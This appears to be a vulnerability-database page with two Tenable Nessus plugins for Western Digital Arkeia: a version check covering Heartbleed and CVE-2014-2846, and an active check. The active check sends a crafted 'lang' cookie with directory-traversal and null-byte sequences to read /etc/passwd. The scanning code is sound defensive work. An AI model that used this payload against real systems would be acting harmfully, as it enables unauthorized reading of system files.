Vulnerabilities > CVE-2014-2846 - Path Traversal vulnerability in Westerndigital Arkeia Virtual Appliance Firmware 10.2.7

#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(74262);
  script_version("1.6");
  script_cvs_date("Date: 2019/11/26");

  script_cve_id("CVE-2014-0160", "CVE-2014-2846");
  script_bugtraq_id(66690, 67039);
  script_xref(name:"CERT", value:"720951");
  script_xref(name:"EDB-ID", value:"32745");
  script_xref(name:"EDB-ID", value:"32764");
  script_xref(name:"EDB-ID", value:"32791");
  script_xref(name:"EDB-ID", value:"32998");
  script_xref(name:"EDB-ID", value:"33005");

  script_name(english:"Western Digital Arkeia 10.1.x < 10.1.19 / 10.2.x < 10.2.9 Multiple Vulnerabilities (Heartbleed)");
  script_summary(english:"Checks version of Western Digital Arkeia.");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server hosts a virtual appliance that is affected by
multiple vulnerabilities.");
  script_set_attribute(attribute:"description", value:
"The self-reported version of the remote Western Digital Arkeia device
is prior to 10.1.19 / 10.2.9. It is, therefore, potentially affected
by the following vulnerabilities :

 - An out-of-bounds read error, known as the 'Heartbleed
   Bug', exists related to handling TLS heartbeat
   extensions that could allow an attacker to obtain
   sensitive information such as primary key material,
   secondary key material, and other protected content.
   (CVE-2014-0160)

 - A local file inclusion vulnerability exists. A remote,
   unauthenticated attacker can exploit this issue to read
   or execute arbitrary files by crafting a request with
   directory traversal sequences in the 'lang' HTTP cookie.
   (CVE-2014-2846)");
  # https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20140423-0_WD_Arkeia_Path_Traversal_v10.txt
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?67b88cb2");
  script_set_attribute(attribute:"see_also", value:"http://wiki.arkeia.com/index.php/Path_Traversal_Remote_Code_Execution");
  script_set_attribute(attribute:"see_also", value:"http://www.wdc.com/en/heartbleedupdate/");
  # ftp://ftp.arkeia.com/arkeia-software-application/arkeia-10.1/documentation/CHANGES-10.1.19
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?b286eb09");
  # ftp://ftp.arkeia.com/arkeia-software-application/arkeia-10.2/documentation/CHANGES-10.2.9
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?97c1883b");
  script_set_attribute(attribute:"see_also", value:"http://www.heartbleed.com");
  script_set_attribute(attribute:"see_also", value:"https://eprint.iacr.org/2014/140");
  script_set_attribute(attribute:"see_also", value:"https://www.openssl.org/news/vulnerabilities.html#2014-0160");
  script_set_attribute(attribute:"see_also", value:"https://www.openssl.org/news/secadv/20140407.txt");
  script_set_attribute(attribute:"solution", value:
"Upgrade to version 10.1.19 / 10.2.9 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2014-2846");

  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploit_framework_core", value:"true");
  script_set_attribute(attribute:"in_the_news", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2014/02/24");
  script_set_attribute(attribute:"patch_publication_date", value:"2014/04/14");
  script_set_attribute(attribute:"plugin_publication_date", value:"2014/06/02");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:wdc:arkeia_virtual_appliance");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2014-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("wd_arkeia_detect.nbin");
  script_require_keys("www/PHP", "www/wd_arkeia");
  script_require_ports("Services/www", 80, 443);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");

port = get_http_port(default:80, php:TRUE, embedded:TRUE);

app = "Western Digital Arkeia";

install = get_install_from_kb(
  appname      : "wd_arkeia",
  port         : port,
  exit_on_fail : TRUE
);
dir = install["dir"];
version = install["ver"];
install_url = build_url(qs:dir, port:port);

if (version == UNKNOWN_VER) audit(AUDIT_UNKNOWN_WEB_APP_VER, app, install_url);

ver = split(version, sep:".", keep:FALSE);
for (i=0; i<max_index(ver); i++)
  ver[i] = int(ver[i]);

# Versions < 10.1.19 / 10.2.9 are affected
if (
  (ver[0] < 10) ||
  (ver[0] == 10 && ver[1] < 1) ||
  (ver[0] == 10 && ver[1] == 1 && ver[2] < 19) ||
  (ver[0] == 10 && ver[1] == 2 && ver[2] < 9)
)
{
  if (report_verbosity > 0)
  {
    report =
      '\n  URL               : ' + install_url +
      '\n  Installed version : ' + version +
      '\n  Fixed version     : 10.1.19 / 10.2.9' +
      '\n';
    security_hole(port:port, extra:report);
  }
  else security_hole(port);
}
else audit(AUDIT_WEB_APP_NOT_AFFECTED, app, install_url, version);

#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(74221);
  script_version("1.7");
  script_set_attribute(attribute:"plugin_modification_date", value:"2020/02/26");

  script_cve_id("CVE-2014-2846");
  script_bugtraq_id(67039);
  script_xref(name:"EDB-ID", value:"33005");

  script_name(english:"Western Digital Arkeia lang Cookie Crafted Local File Inclusion");
  script_summary(english:"Tries to read a local file");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server hosts a PHP script that is affected by a local
file inclusion vulnerability.");
  script_set_attribute(attribute:"description", value:
"The remote Western Digital Arkeia device hosts a PHP script that is
affected by a local file inclusion vulnerability. A remote,
unauthenticated attacker can exploit this issue to read or execute
arbitrary files by crafting a request with directory traversal
sequences in the 'lang' cookie.");
  # https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20140423-0_WD_Arkeia_Path_Traversal_v10.txt
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?67b88cb2");
  script_set_attribute(attribute:"see_also", value:"http://wiki.arkeia.com/index.php/Path_Traversal_Remote_Code_Execution");
  # ftp://ftp.arkeia.com/arkeia-software-application/arkeia-10.2/documentation/CHANGES-10.2.9
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?97c1883b");
  script_set_attribute(attribute:"solution", value:
"Upgrade to version 10.2.9 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2014-2846");

  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2014/04/23");
  script_set_attribute(attribute:"patch_publication_date", value:"2014/04/14");
  script_set_attribute(attribute:"plugin_publication_date", value:"2014/05/28");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:wdc:arkeia_virtual_appliance");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2014-2020 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("wd_arkeia_detect.nbin");
  script_require_keys("www/PHP", "www/wd_arkeia");
  script_require_ports("Services/www", 80, 443);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");
include("data_protection.inc");

port = get_http_port(default:80, php:TRUE, embedded:TRUE);

install = get_install_from_kb(
  appname      : "wd_arkeia",
  port         : port,
  exit_on_fail : TRUE
);
dir = install["dir"];

app = "Western Digital Arkeia";
file = "/etc/passwd";
file_pat = "root:.*:0:[01]:";

vuln = FALSE;
clear_cookiejar();
cookie = "lang=nessus..././..././..././..././..././.../."+file+"%00";

user = rand_str();
pass = rand_str();

res = http_send_recv3(
  method : "POST",
  port   : port,
  item   : dir + "/login/doLogin",
  data   : "password="+pass+"&username="+user,
  add_headers  : make_array("Cookie", cookie),
  content_type : "application/x-www-form-urlencoded",
  exit_on_fail : TRUE
);
if (egrep(pattern:file_pat, string:res[2])) vuln = TRUE;

if (!vuln) audit(AUDIT_WEB_APP_NOT_AFFECTED, app, build_url(qs:dir, port:port));

report = NULL;
attach_file = NULL;
output = NULL;
req = http_last_sent_request();
request = NULL;

if (report_verbosity > 0)
{
  report =
    '\n' + 'Nessus was able to exploit the issue to retrieve the contents of ' +
    '\n' + "'" + file + "'" + ' using the following request :' +
    '\n' +
    '\n' + req +
    '\n';

  if (report_verbosity > 1)
  {
    # Filtering for output to remove auth error from report output
    output = res[2];
    pos = stridx(output, '{"local');
    if (pos > 0)
    {
      output = substr(output, 0, pos - 1);
    }

    output = data_protection::redact_etc_passwd(output:output);
    attach_file = file;
    request = make_list(req);

  }
}

security_report_v4(port:port,
                   extra:report,
                   severity:SECURITY_HOLE,
                   request:request,
                   file:attach_file,
                   output:output);